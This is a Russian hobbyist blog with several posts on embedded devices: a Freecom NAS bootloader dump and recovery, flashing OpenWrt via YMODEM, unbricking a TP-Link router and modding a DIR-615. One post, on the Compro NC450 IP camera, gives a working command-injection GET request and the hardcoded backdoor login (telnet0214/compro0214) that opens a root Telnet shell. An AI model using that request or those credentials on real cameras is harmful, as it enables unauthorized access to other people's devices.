четверг, 30 июня 2016 г.

Дамп загрузчика сетевого накопителя Freecom SilverStore NAS



Сетевой накопитель Freecom SilverStore NAS построен на базе SoC Marvell Feroceon 88F6282 rev A1 работающей на частоте 1000Mhz, название на материнской плате HNC-N2 LE.

Системная плата

На плате также установлены:

  • один чип оперативки размером 128 MB (Samsung K4B1G1646G, есть место под распайку второго)
  • NAND флеш 128MB (Samsung K9F1G08U0D)
  • USB 3.0 контроллер D720200F1
  • Ethernet контроллер Marvell 88E1318
  • Контроллер вентилятора ADT7473

Распиновка разъема консоли

Разделы в NAND-flash:

  • uboot 0x0-0xA0000
  • param 0xA0000-0xE0000
  • preroot 0xE0000-0x360000
  • rootfs 0x6E0000-0x7DC0000
  • misc 0x7DC0000-0x8000000

Переменная окружения bootcmd загрузчика при каждом запуске устройства инициализируется в заводское состояние (за что отдельное "спасибо" производителю), что значительно усложняет запуск собственной ОС на устройстве. Она содержит следующие команды:

nand reset; nand read.e 0x800000 0x00100000 0x00199800; check_crc32 PrEr; nand reset; nand read.e 0x40000 0x00380000 0x00380800; check_crc32 KrNl; setenv bootargs $(console) $(bootargs_root);  bootm 0x40000;

Поскольку у меня в устройстве полетел раздел preroot, его образа отдельно нет и фирменная утилита его восстанавливать отказывается, решил на всякий случай сдампить загрузчик NAS, возможно он кому-то пригодится для оживления убитого девайса.

Дамп загрузчика можно скачать здесь.

Для того чтобы запустить убитое устройство необходимо подсоединиться к его последовательной консоли с помощью USB-UART кабеля и воспользоваться утилитой kwboot, ее можно скачать здесь.
Далее запустить утилиту командой:

sudo ./kwboot -p -t /dev/ttyUSB0 -b ./SilverStore_u_boot_dump.bin

И после этого включить питание устройства кнопкой.


References:

1. Booting Kirkwood devices

понедельник, 13 июля 2015 г.

Получение root на IP камере Compro NC450


Путем несложных действий можно получить как доступ к файловой системе IP камеры Compro NC450, так и root через Telnet.
Судя по всему, создатели камеры не сильно озаботились безопасностью устройства и оставили CGI уязвимость для нас (или для себя):
Выполнив следующий HTTP GET запрос:
"http://<camera IP>/cgi-bin/recording/download.cgi?ch=0&attach=../../../../bin/echo%20/etc/motd
в ответе мы получим Message of the day:
Content-Disposition: attachment; filename="../../../../bin/echo "your hax0red h0 h0" >> /etc/motd"
Content-Transfer-Encoding: binary

cat: /web/html/cgi-bin/recording/save0/record0/../../../../bin/echo: No such file or directory
cat: "your: No such file or directory
cat: hax0red: No such file or directory
cat: h0: No such file or directory
cat: h0": No such file or directory
cat: >>: No such file or directory
Welcome to

    _____    __      ___       __     ___       _     _    _
   |  ___|  /  \    / __ \    /  \   |  _ \    /  \   \ \ / /
   | |___  / /\ \  | /__\ \  / /\ \  | | \ |  / /\ \   \ V /
   |  ___|| |__| | |  _   / | |__| | | | | | | |__| |   \ /
   | |    |  __  | | |  \ \ |  __  | | |_/ / |  __  |   | |
   |_|    |_|  |_| |_|   \_\|_|  |_| |___ /  |_|  |_|   |_|

For further information check:
http://www.GM.com/
Путем несложных исследований файловой системы устройства было обнаружено, что скрипт добавления нового пользователя камеры useradd.cgi содержит бэкдор, запускающий Telnet сервер:
if [ $USERNAME = "telnet0214" ]; then
if [ $PASSWD2 = "compro0214" ]; then
/bin/busybox telnetd -l /bin/sh
echo "<script type=\"text/javascript\">"
echo " alert('Telnet started!');"
echo "  window.close();"
echo "</script>"
bCreate="no"
fi
fi
Т.е. чтобы запустить Telnet, достаточно зайти на страничку управления пользователями в WEB интерфейсе камеры и добавить пользователя с логином telnet0214 и паролем compro0214.

Удачного использования :)






понедельник, 3 ноября 2014 г.

Прошивка OpenWrt из загрузчика по YMODEM

Поскольку иногда при перепрошивке роутера возникают проблемы с TFTP, то приходится вспоминать хорошо забытое старое. Исчерпывающий мануал на английском можно почитать здесь.
Протокол YMODEM  предназначен для передачи файлов между устройствами по последовательному порту в процессе терминальной сессии. Т.е. чтобы загрузить образ Linux в устройство, необходимо лишь подключение к его консоли.
Для отправки файла необходима любая программа, поддерживающая данный протокол, например HyperTerminal под Windows, либо Minicom из Linux.

Для перепрошивки DIR-615 выполняем следующее:
1. Подключаемся к консоли устройства через  HyperTerminal
2. Включаем роутер и Enter до появления "ar7240>  "
3. Вводим команду "loady
4. В меню HyperTerminal выбираем "Transfer"->"Send File". Выбираем образ OpenWrt, "Protocol" -> "Y-Modem". И нажимаем "Send".

Если пользуемся Minicom, то нажимаем Ctrl-A, Z. В меню выбираем "ymodem", затем файл прошивки.
5. Ждем окончания передачи файла. Можно сходить за чаем или кофе, по вкусу :)
6. После окончания загрузки, увидим фактический размер загруженной прошивки в шестнадцатеричном формате. Запоминаем его.
7. Вводим команду "erase 0xbf050000 +0xFA0000". Здесь размер стираемой области может быть различным.
8. Вводим команду "cp.b 0x81000000 0xbf050000 <размер_прошивки>". Ждем окончания копирования.
9. Reset



среда, 5 марта 2014 г.

Восстановление (unbrick) Tp-Link TL-MR3220 v2

Пришлось восстанавливать  TL-MR3220 на Atheros AR9331 с убитым загрузчиком.

1. Сначала программатором заливаем оригинальный образ прошивки с загрузчиком: mr3220v2_ru_3_15_0_up_boot.bin

2. Затем через консоль загрузчика заливаем OpenWRT: openwrt-ar71xx-generic-tl-mr3220-v2-squashfs-factory.bin
  • tftpboot 0x80000000 openwrt-ar71xx-generic-tl-mr3020-v2-squashfs-factory.bin
  • erase 0x9f020000 +0x3c0000
  • cp.b 0x80000000 0x9f020000 0x3c0000

3. Там же заливаем ART раздел, если забыли его забэкапить: ar9331-art.bin
  • tftpboot 0x80000000 ar9331-art.bin
  • erase 0x9f3f0000 +0x10000
  • cp.b 0x80000000 0x9f3f0000 0x10000

понедельник, 10 февраля 2014 г.

DIR-615 E4 16M Flash + 64M RAM + USB mod

Наконец то пересобрал родной загрузчик DIR-615 E4 на Atheros AR7240 для поддержки флешки размером 16 МБ, а также OpenWrt с поддержкой USB.



Заменил и оперативку на PSC A3S12D40ETP емкостью 64 МБ. Заработала без модификаций прошивки.

Модифицированный загрузчик - ldr_16M-NOR_64M-RAM.bin

Патч на загрузчик - 0001-Support-16M-SPI-NOR-flash.patch

Исходники от Dlink (в них стоковые загрузчик и прошивка) - DIR615E4_GPL512.tar.gz и тулчейн для сборки загрузчика - DIR-615E4-toolchain.bz. Они нужны только если хотите пересобрать загрузчик. Для сборки OpenWrt они не нужны.

Чтобы собрать родной загрузчик:
sudo tar xvfz "./DIR615E4_GPL512 (1).tar.gz" -C /home/
sudo chown *username* /home/Matrix -R
sudo chmod 755 /home/Matrix -R
sudo tar xvjf ./DIR-615E4-toolchain.bz -C /opt/
cd /home/Matrix/projects/DIR-615WW_E4
make profile=DIR-615WW_E4 loader


Образ OpenWrt - openwrt-ar71xx-generic-dir-615-e4-squashfs-factory.bin. Чтобы его прошить, использовал YMODEM.

Патч на OpenWrt для включения поддержки USB - 0001-Compile-for-DIR-615-E4-with-USB-and-16M-flash.patch
Патч на OpenWrt для изменения флешмапа на 16MB - 0002-Compile-for-DIR-615-E4-with-USB-and-16M-flash.patch

Дамп, загрузчик и инструкция для флешки 8MB от пользователя Dmitriy Ivanov615e4_8mb.mod.zip